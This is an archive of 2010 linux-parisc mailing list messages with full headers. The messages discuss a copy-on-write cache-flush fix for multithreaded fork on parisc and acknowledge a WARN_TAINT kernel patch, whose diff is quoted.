To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 05 18:18:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nyp0j-0005OB-2G
	for glpp-linux-parisc@lo.gmane.org; Mon, 05 Apr 2010 18:18:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755374Ab0DEQSn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Apr 2010 12:18:43 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50904 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755228Ab0DEQSn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Apr 2010 12:18:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4AD1F8EE0FD;
	Mon,  5 Apr 2010 09:18:41 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ewaHBjT8J1Ld; Mon,  5 Apr 2010 09:18:41 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 36D9E8EE0E7;
	Mon,  5 Apr 2010 09:18:40 -0700 (PDT)
In-Reply-To: <20100405025154.DE1D55160@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2761
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2761>

On Sun, 2010-04-04 at 22:51 -0400, John David Anglin wrote:
> > Thanks a lot for the discussion.
> > 
> > James Bottomley wrote:
> > > So your theory is that the data the kernel sees doing the page copy can
> > > be stale because of dirty cache lines in userspace (which is certainly
> > > possible in the ordinary way)?
> > 
> > Yes.
> > 
> > > By design that shouldn't happen: the idea behind COW breaking is
> > > that before it breaks, the page is read only ... this means that
> > > processes can have clean cache copies of it, but never dirty cache
> > > copies (because writes are forbidden).
> > 
> > That must be design, I agree.
> > 
> > To keep this condition (no dirty cache for COW page), we need to flush
> > cache before ptep_set_wrprotect.  That's my point.
> > 
> > Please look at the code path:
> >    (kernel/fork.c)
> >    do_fork -> copy_process -> copy_mm -> dup_mm -> dup_mmap ->
> >    (mm/memory.c)
> >    copy_page_range -> copy_p*d_range -> copy_one_pte -> ptep_set_wrprotect
> > 
> > The function flush_cache_dup_mm is called from dup_mmap, that's enough
> > for a case of a process with single thread.
> > I think that:
> > We need to flush cache before ptep_set_wrprotect for a process with
> > multiple threads.  Other threads may change memory after a thread
> > invokes do_fork and before calling ptep_set_wrprotect.  Specifically,
> > a process may sleep at pte_alloc function to get a page.
> 
> I agree.  It is interesting that in the case of the Debian bug that
> a thread of the parent process causes the COW break and thereby corrupts
> its own memory.  As far as I can tell, the fork'd child never writes
> to the memory that causes the fault.
> 
> My testing indicates that your suggested change fixes the Debian
> bug.  I've attached below my latest test version.  This seems to fix
> the bug on both SMP and UP kernels.
> 
> However, it doesn't fix all page/cache related issues on parisc
> SMP kernels that I commonly see.
> 
> My first inclination after even before reading your analysis was
> to assume that copy_user_page was broken (i.e, that even if a
> processor cache was dirty when the COW page was write protected,
> it should be possible to do the flush before the page is copied).
> However, this didn't seem to work...  Possibly, there are issues
> with aliased addresses.
> 
> I note that sparc flushes the entire cache and purges the entire
> tlb in kmap_atomic/kunmap_atomic for highmem.  Although the breakage
> that I see is not limited to PA8800/PA8900, I'm not convinced
> that we maintain coherency that is required for these processors
> in copy_user_page when we have multiple threads.
> 
> As a side note, kmap_atomic/kunmap_atomic seem to lack calls to
> pagefault_disable()/pagefault_enable() on PA8800.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> 
> diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
> index a27d2e2..b140d5c 100644
> --- a/arch/parisc/include/asm/pgtable.h
> +++ b/arch/parisc/include/asm/pgtable.h
> @@ -14,6 +14,7 @@
>  #include <linux/bitops.h>
>  #include <asm/processor.h>
>  #include <asm/cache.h>
> +extern void flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long pfn);
>  
>  /*
>   * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
> @@ -456,17 +457,22 @@ static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
>  	return old_pte;
>  }
>  
> -static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
> +static inline void ptep_set_wrprotect(struct vm_area_struct *vma, struct mm_struct *mm, unsigned long addr, pte_t *ptep)
>  {
>  #ifdef CONFIG_SMP
>  	unsigned long new, old;
> +#endif
> +	pte_t old_pte = *ptep;
> +
> +	if (atomic_read(&mm->mm_users) > 1)

Just to verify there's nothing this is hiding, can you make this 

	if (pte_dirty(old_pte))

and reverify?  The if clause should only trip on the case where the
parent has dirtied the line between flush and now.

> +		flush_cache_page(vma, addr, pte_pfn(old_pte));
>  
> +#ifdef CONFIG_SMP
>  	do {
>  		old = pte_val(*ptep);
>  		new = pte_val(pte_wrprotect(__pte (old)));
>  	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
>  #else
> -	pte_t old_pte = *ptep;
>  	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
>  #endif
>  }
> diff --git a/mm/memory.c b/mm/memory.c
> index 09e4b1b..21c2916 100644
> --- a/mm/memory.c
> +++ b/mm/memory.c
> @@ -616,7 +616,7 @@ copy_one_pte(struct mm_struct *dst_mm, struct mm_struct *src_mm,
>  	 * in the parent and the child
>  	 */
>  	if (is_cow_mapping(vm_flags)) {
> -		ptep_set_wrprotect(src_mm, addr, src_pte);
> +		ptep_set_wrprotect(vma, src_mm, addr, src_pte);

So this is going to be a hard sell because of the arch churn. There are,
however, three ways to do it with the original signature.

     1. implement copy_user_highpage ... this allows us to copy through
        the child's page cache (which is coherent with the parent's
        before the cow) and thus pick up any cache changes without a
        flush
     2. use the mm identically to flush_user_cache_page_noncurrent.  The
        only reason that needs the vma is for the icache check ... but
        that shouldn't happen here (if the parent is actually doing a
        self modifying exec region, it needs to manage coherency
        itself).
     3. Flush in kmap ... this is something that's been worrying me
        since the flamewars over kmap for pio.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 1/4] panic: Allow warnings to set different taint flags
Date: Mon, 05 Apr 2010 23:38:30 +0200
Lines: 319
Approved: news@gmane.org
Message-ID: <4BBA5856.6090705@gmx.de>
References: <1270319696.12516.321.camel@localhost>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270503524 30347 80.91.229.12 (5 Apr 2010 21:38:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Apr 2010 21:38:44 +0000 (UTC)
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>,
	David Woodhouse <dwmw2@infradead.org>,
	linux-pci@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	Paul Mundt <lethal@linux-sh.org>
To: Ben Hutchings <ben@decadent.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 05 23:38:41 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nyu0C-0006Tx-QL
	for glpp-linux-parisc@lo.gmane.org; Mon, 05 Apr 2010 23:38:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756657Ab0DEVif (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Apr 2010 17:38:35 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51846 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756434Ab0DEVie (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Apr 2010 17:38:34 -0400
Original-Received: (qmail invoked by alias); 05 Apr 2010 21:38:32 -0000
Original-Received: from p54AD19EE.dip0.t-ipconnect.de (EHLO halden.box) [84.173.25.238]
  by mail.gmx.net (mp068) with SMTP; 05 Apr 2010 23:38:32 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+dfSAVFz6dLQY07Fp0jDUjhANhUqXN9FdQzfhBFY
	PalFBS174C5Sli
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <1270319696.12516.321.camel@localhost>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.42999999999999999
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2762 gmane.linux.kernel.pci:8309 gmane.linux.kernel:970446 gmane.linux.ports.ppc64.devel:65765 gmane.linux.ports.sh.devel:7780
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2762>

On 04/03/2010 08:34 PM, Ben Hutchings wrote:
> WARN() is used in some places to report firmware or hardware bugs that
> are then worked-around.  These bugs do not affect the stability of the
> kernel and should not set the flag for TAINT_WARN.  To allow for this,
> add WARN_TAINT() and WARN_TAINT_ONCE() macros that take a taint number
> as argument.
> 
> Architectures that implement warnings using trap instructions instead
> of calls to warn_slowpath_*() now implement __WARN_TAINT(taint)
> instead of __WARN().
> 
> Signed-off-by: Ben Hutchings <ben@decadent.org.uk>

Builds and works on the parisc architecture.
Acked-by: Helge Deller <deller@gmx.de>


> ---
> Changes since the previous version:
> - Added note to Documentation/oops-tracing.txt
> - Changed the commit message to distinguish taint numbers from taint
>   flags
> - Removed 'must' from last sentence of commit message; this patch
>   converts all mainline architectures
> 
> Ben.
> 
>  Documentation/oops-tracing.txt |    1 +
>  arch/parisc/include/asm/bug.h  |    8 ++++----
>  arch/powerpc/include/asm/bug.h |    6 +++---
>  arch/s390/include/asm/bug.h    |    8 ++++----
>  arch/sh/include/asm/bug.h      |    4 ++--
>  include/asm-generic/bug.h      |   34 ++++++++++++++++++++++++++++++++--
>  kernel/panic.c                 |   24 ++++++++++++++++++++----
>  lib/bug.c                      |    2 +-
>  8 files changed, 67 insertions(+), 20 deletions(-)
> 
> diff --git a/Documentation/oops-tracing.txt b/Documentation/oops-tracing.txt
> index c10c022..069fab3 100644
> --- a/Documentation/oops-tracing.txt
> +++ b/Documentation/oops-tracing.txt
> @@ -256,6 +256,7 @@ characters, each representing a particular tainted value.
>    9: 'A' if the ACPI table has been overridden.
>  
>   10: 'W' if a warning has previously been issued by the kernel.
> +     (Though some warnings may set more specific taint flags.)
>  
>   11: 'C' if a staging driver has been loaded.
>  
> diff --git a/arch/parisc/include/asm/bug.h b/arch/parisc/include/asm/bug.h
> index 75e46c5..72cfdb0 100644
> --- a/arch/parisc/include/asm/bug.h
> +++ b/arch/parisc/include/asm/bug.h
> @@ -44,7 +44,7 @@
>  #endif
>  
>  #ifdef CONFIG_DEBUG_BUGVERBOSE
> -#define __WARN()							\
> +#define __WARN_TAINT(taint)						\
>  	do {								\
>  		asm volatile("\n"					\
>  			     "1:\t" PARISC_BUG_BREAK_ASM "\n"		\
> @@ -54,11 +54,11 @@
>  			     "\t.org 2b+%c3\n"				\
>  			     "\t.popsection"				\
>  			     : : "i" (__FILE__), "i" (__LINE__),	\
> -			     "i" (BUGFLAG_WARNING),			\
> +			     "i" (BUGFLAG_TAINT(taint)), 		\
>  			     "i" (sizeof(struct bug_entry)) );		\
>  	} while(0)
>  #else
> -#define __WARN()							\
> +#define __WARN_TAINT(taint)						\
>  	do {								\
>  		asm volatile("\n"					\
>  			     "1:\t" PARISC_BUG_BREAK_ASM "\n"		\
> @@ -67,7 +67,7 @@
>  			     "\t.short %c0\n"				\
>  			     "\t.org 2b+%c1\n"				\
>  			     "\t.popsection"				\
> -			     : : "i" (BUGFLAG_WARNING),			\
> +			     : : "i" (BUGFLAG_TAINT(taint)),		\
>  			     "i" (sizeof(struct bug_entry)) );		\
>  	} while(0)
>  #endif
> diff --git a/arch/powerpc/include/asm/bug.h b/arch/powerpc/include/asm/bug.h
> index 2c15212..065c590 100644
> --- a/arch/powerpc/include/asm/bug.h
> +++ b/arch/powerpc/include/asm/bug.h
> @@ -85,12 +85,12 @@
>  	}							\
>  } while (0)
>  
> -#define __WARN() do {						\
> +#define __WARN_TAINT(taint) do {				\
>  	__asm__ __volatile__(					\
>  		"1:	twi 31,0,0\n"				\
>  		_EMIT_BUG_ENTRY					\
>  		: : "i" (__FILE__), "i" (__LINE__),		\
> -		  "i" (BUGFLAG_WARNING),			\
> +		  "i" (BUGFLAG_TAINT(taint)),			\
>  		  "i" (sizeof(struct bug_entry)));		\
>  } while (0)
>  
> @@ -104,7 +104,7 @@
>  		"1:	"PPC_TLNEI"	%4,0\n"			\
>  		_EMIT_BUG_ENTRY					\
>  		: : "i" (__FILE__), "i" (__LINE__),		\
> -		  "i" (BUGFLAG_WARNING),			\
> +		  "i" (BUGFLAG_TAINT(TAINT_WARN)),		\
>  		  "i" (sizeof(struct bug_entry)),		\
>  		  "r" (__ret_warn_on));				\
>  	}							\
> diff --git a/arch/s390/include/asm/bug.h b/arch/s390/include/asm/bug.h
> index 9beeb9d..bf90d1f 100644
> --- a/arch/s390/include/asm/bug.h
> +++ b/arch/s390/include/asm/bug.h
> @@ -46,18 +46,18 @@
>  	unreachable();					\
>  } while (0)
>  
> -#define __WARN() do {					\
> -	__EMIT_BUG(BUGFLAG_WARNING);			\
> +#define __WARN_TAINT(taint) do {			\
> +	__EMIT_BUG(BUGFLAG_TAINT(taint));		\
>  } while (0)
>  
>  #define WARN_ON(x) ({					\
>  	int __ret_warn_on = !!(x);			\
>  	if (__builtin_constant_p(__ret_warn_on)) {	\
>  		if (__ret_warn_on)			\
> -			__EMIT_BUG(BUGFLAG_WARNING);	\
> +			__WARN();			\
>  	} else {					\
>  		if (unlikely(__ret_warn_on))		\
> -			__EMIT_BUG(BUGFLAG_WARNING);	\
> +			__WARN();			\
>  	}						\
>  	unlikely(__ret_warn_on);			\
>  })
> diff --git a/arch/sh/include/asm/bug.h b/arch/sh/include/asm/bug.h
> index d02c01b..6323f86 100644
> --- a/arch/sh/include/asm/bug.h
> +++ b/arch/sh/include/asm/bug.h
> @@ -48,7 +48,7 @@ do {							\
>  		   "i" (sizeof(struct bug_entry)));	\
>  } while (0)
>  
> -#define __WARN()					\
> +#define __WARN_TAINT(taint)				\
>  do {							\
>  	__asm__ __volatile__ (				\
>  		"1:\t.short %O0\n"			\
> @@ -57,7 +57,7 @@ do {							\
>  		 : "n" (TRAPA_BUG_OPCODE),		\
>  		   "i" (__FILE__),			\
>  		   "i" (__LINE__),			\
> -		   "i" (BUGFLAG_WARNING),		\
> +		   "i" (BUGFLAG_TAINT(taint)),		\
>  		   "i" (sizeof(struct bug_entry)));	\
>  } while (0)
>  
> diff --git a/include/asm-generic/bug.h b/include/asm-generic/bug.h
> index 18c435d..c2c9ba0 100644
> --- a/include/asm-generic/bug.h
> +++ b/include/asm-generic/bug.h
> @@ -25,7 +25,10 @@ struct bug_entry {
>  };
>  #endif		/* __ASSEMBLY__ */
>  
> -#define BUGFLAG_WARNING	(1<<0)
> +#define BUGFLAG_WARNING		(1 << 0)
> +#define BUGFLAG_TAINT(taint)	(BUGFLAG_WARNING | ((taint) << 8))
> +#define BUG_GET_TAINT(bug)	((bug)->flags >> 8)
> +
>  #endif	/* CONFIG_GENERIC_BUG */
>  
>  /*
> @@ -56,17 +59,25 @@ struct bug_entry {
>   * appear at runtime.  Use the versions with printk format strings
>   * to provide better diagnostics.
>   */
> -#ifndef __WARN
> +#ifndef __WARN_TAINT
>  #ifndef __ASSEMBLY__
>  extern void warn_slowpath_fmt(const char *file, const int line,
>  		const char *fmt, ...) __attribute__((format(printf, 3, 4)));
> +extern void warn_slowpath_fmt_taint(const char *file, const int line,
> +				    unsigned taint, const char *fmt, ...)
> +	__attribute__((format(printf, 4, 5)));
>  extern void warn_slowpath_null(const char *file, const int line);
>  #define WANT_WARN_ON_SLOWPATH
>  #endif
>  #define __WARN()		warn_slowpath_null(__FILE__, __LINE__)
>  #define __WARN_printf(arg...)	warn_slowpath_fmt(__FILE__, __LINE__, arg)
> +#define __WARN_printf_taint(taint, arg...)				\
> +	warn_slowpath_fmt_taint(__FILE__, __LINE__, taint, arg)
>  #else
> +#define __WARN()		__WARN_TAINT(TAINT_WARN)
>  #define __WARN_printf(arg...)	do { printk(arg); __WARN(); } while (0)
> +#define __WARN_printf_taint(taint, arg...)				\
> +	do { printk(arg); __WARN_TAINT(taint); } while (0)
>  #endif
>  
>  #ifndef WARN_ON
> @@ -87,6 +98,13 @@ extern void warn_slowpath_null(const char *file, const int line);
>  })
>  #endif
>  
> +#define WARN_TAINT(condition, taint, format...) ({			\
> +	int __ret_warn_on = !!(condition);				\
> +	if (unlikely(__ret_warn_on))					\
> +		__WARN_printf_taint(taint, format);			\
> +	unlikely(__ret_warn_on);					\
> +})
> +
>  #else /* !CONFIG_BUG */
>  #ifndef HAVE_ARCH_BUG
>  #define BUG() do {} while(0)
> @@ -110,6 +128,8 @@ extern void warn_slowpath_null(const char *file, const int line);
>  })
>  #endif
>  
> +#define WARN_TAINT(condition, taint, format...) WARN_ON(condition)
> +
>  #endif
>  
>  #define WARN_ON_ONCE(condition)	({				\
> @@ -132,6 +152,16 @@ extern void warn_slowpath_null(const char *file, const int line);
>  	unlikely(__ret_warn_once);				\
>  })
>  
> +#define WARN_TAINT_ONCE(condition, taint, format...)	({	\
> +	static bool __warned;					\
> +	int __ret_warn_once = !!(condition);			\
> +								\
> +	if (unlikely(__ret_warn_once))				\
> +		if (WARN_TAINT(!__warned, taint, format))	\
> +			__warned = true;			\
> +	unlikely(__ret_warn_once);				\
> +})
> +
>  #define WARN_ON_RATELIMIT(condition, state)			\
>  		WARN_ON((condition) && __ratelimit(state))
>  
> diff --git a/kernel/panic.c b/kernel/panic.c
> index 13d966b..8b821bc 100644
> --- a/kernel/panic.c
> +++ b/kernel/panic.c
> @@ -365,7 +365,8 @@ struct slowpath_args {
>  	va_list args;
>  };
>  
> -static void warn_slowpath_common(const char *file, int line, void *caller, struct slowpath_args *args)
> +static void warn_slowpath_common(const char *file, int line, void *caller,
> +				 unsigned taint, struct slowpath_args *args)
>  {
>  	const char *board;
>  
> @@ -381,7 +382,7 @@ static void warn_slowpath_common(const char *file, int line, void *caller, struc
>  	print_modules();
>  	dump_stack();
>  	print_oops_end_marker();
> -	add_taint(TAINT_WARN);
> +	add_taint(taint);
>  }
>  
>  void warn_slowpath_fmt(const char *file, int line, const char *fmt, ...)
> @@ -390,14 +391,29 @@ void warn_slowpath_fmt(const char *file, int line, const char *fmt, ...)
>  
>  	args.fmt = fmt;
>  	va_start(args.args, fmt);
> -	warn_slowpath_common(file, line, __builtin_return_address(0), &args);
> +	warn_slowpath_common(file, line, __builtin_return_address(0),
> +			     TAINT_WARN, &args);
>  	va_end(args.args);
>  }
>  EXPORT_SYMBOL(warn_slowpath_fmt);
>  
> +void warn_slowpath_fmt_taint(const char *file, int line,
> +			     unsigned taint, const char *fmt, ...)
> +{
> +	struct slowpath_args args;
> +
> +	args.fmt = fmt;
> +	va_start(args.args, fmt);
> +	warn_slowpath_common(file, line, __builtin_return_address(0),
> +			     taint, &args);
> +	va_end(args.args);
> +}
> +EXPORT_SYMBOL(warn_slowpath_fmt_taint);
> +
>  void warn_slowpath_null(const char *file, int line)
>  {
> -	warn_slowpath_common(file, line, __builtin_return_address(0), NULL);
> +	warn_slowpath_common(file, line, __builtin_return_address(0),
> +			     TAINT_WARN, NULL);
>  }
>  EXPORT_SYMBOL(warn_slowpath_null);
>  #endif
> diff --git a/lib/bug.c b/lib/bug.c
> index 300e41a..f13daf4 100644
> --- a/lib/bug.c
> +++ b/lib/bug.c
> @@ -165,7 +165,7 @@ enum bug_trap_type report_bug(unsigned long bugaddr, struct pt_regs *regs)
>  			       (void *)bugaddr);
>  
>  		show_regs(regs);
> -		add_taint(TAINT_WARN);
> +		add_taint(BUG_GET_TAINT(bug));
>  		return BUG_TRAP_TYPE_WARN;
>  	}
>  

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mundt <lethal@linux-sh.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 1/4] panic: Allow warnings to set different taint flags
Date: Tue, 6 Apr 2010 06:46:27 +0900
Lines: 28
Approved: news@gmane.org
Message-ID: <20100405214626.GA25192@linux-sh.org>
References: <1270319696.12516.321.camel@localhost>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1270504087 32049 80.91.229.12 (5 Apr 2010 21:48:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Apr 2010 21:48:07 +0000 (UTC)
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>,
	David Woodhouse <dwmw2@infradead.org>,
	linux-pci@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org
To: Ben Hutchings <ben@decadent.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 05 23:48:04 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nyu9M-0004Q0-0v
	for glpp-linux-parisc@lo.gmane.org; Mon, 05 Apr 2010 23:48:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756580Ab0DEVsB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Apr 2010 17:48:01 -0400
Original-Received: from 124x34x33x190.ap124.ftth.ucom.ne.jp ([124.34.33.190]:36408 "EHLO
	master.linux-sh.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756424Ab0DEVsA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Apr 2010 17:48:00 -0400
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id DFF9663758;
	Mon,  5 Apr 2010 21:46:27 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id wEj4EByb+Vot; Tue,  6 Apr 2010 06:46:27 +0900 (JST)
Original-Received: by master.linux-sh.org (Postfix, from userid 500)
	id 791036375A; Tue,  6 Apr 2010 06:46:27 +0900 (JST)
Content-Disposition: inline
In-Reply-To: <1270319696.12516.321.camel@localhost>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2763 gmane.linux.kernel.pci:8310 gmane.linux.kernel:970450 gmane.linux.ports.ppc64.devel:65766 gmane.linux.ports.sh.devel:7781
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2763>

On Sat, Apr 03, 2010 at 07:34:56PM +0100, Ben Hutchings wrote:
> WARN() is used in some places to report firmware or hardware bugs that
> are then worked-around.  These bugs do not affect the stability of the
> kernel and should not set the flag for TAINT_WARN.  To allow for this,
> add WARN_TAINT() and WARN_TAINT_ONCE() macros that take a taint number
> as argument.
> 
> Architectures that implement warnings using trap instructions instead
> of calls to warn_slowpath_*() now implement __WARN_TAINT(taint)
> instead of __WARN().
> 
> Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
> ---
> Changes since the previous version:
> - Added note to Documentation/oops-tracing.txt
> - Changed the commit message to distinguish taint numbers from taint
>   flags
> - Removed 'must' from last sentence of commit message; this patch
>   converts all mainline architectures
> 
This seems to be missing my Tested-by from the last iteration, since
there are no functional changes with this version feel free to add it in
again.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: NIIBE Yutaka <gniibe@fsij.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Tue, 06 Apr 2010 13:57:07 +0900
Organization: Free Software Initiative of Japan
Lines: 91
Approved: news@gmane.org
Message-ID: <4BBABF23.1030405@fsij.org>
References: <20100405025154.DE1D55160@hiauly1.hia.nrc.ca> <1270484318.2790.38.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270529853 28781 80.91.229.12 (6 Apr 2010 04:57:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Apr 2010 04:57:33 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 06 06:57:31 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nz0qx-0002zP-4I
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Apr 2010 06:57:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750999Ab0DFE51 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Apr 2010 00:57:27 -0400
Original-Received: from members.fsij.org ([211.14.6.125]:36490 "EHLO atom.fsij.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751181Ab0DFE5W (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Apr 2010 00:57:22 -0400
Original-Received: from [150.82.175.29]
	by atom.fsij.org with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <gniibe@fsij.org>)
	id 1Nz0uY-0005Sr-9Q; Tue, 06 Apr 2010 14:01:14 +0900
User-Agent: Mozilla-Thunderbird 2.0.0.22 (X11/20091109)
In-Reply-To: <1270484318.2790.38.camel@mulgrave.site>
X-Enigmail-Version: 0.95.0
X-SA-Exim-Connect-IP: 150.82.175.29
X-SA-Exim-Mail-From: gniibe@fsij.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on atom.fsij.org
X-Spam-Level: 
X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00
	autolearn=ham version=3.2.5
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:20:07 +0000)
X-SA-Exim-Scanned: Yes (on atom.fsij.org)
Original-Sender: linux-parisc-owner@vger.kernel.org
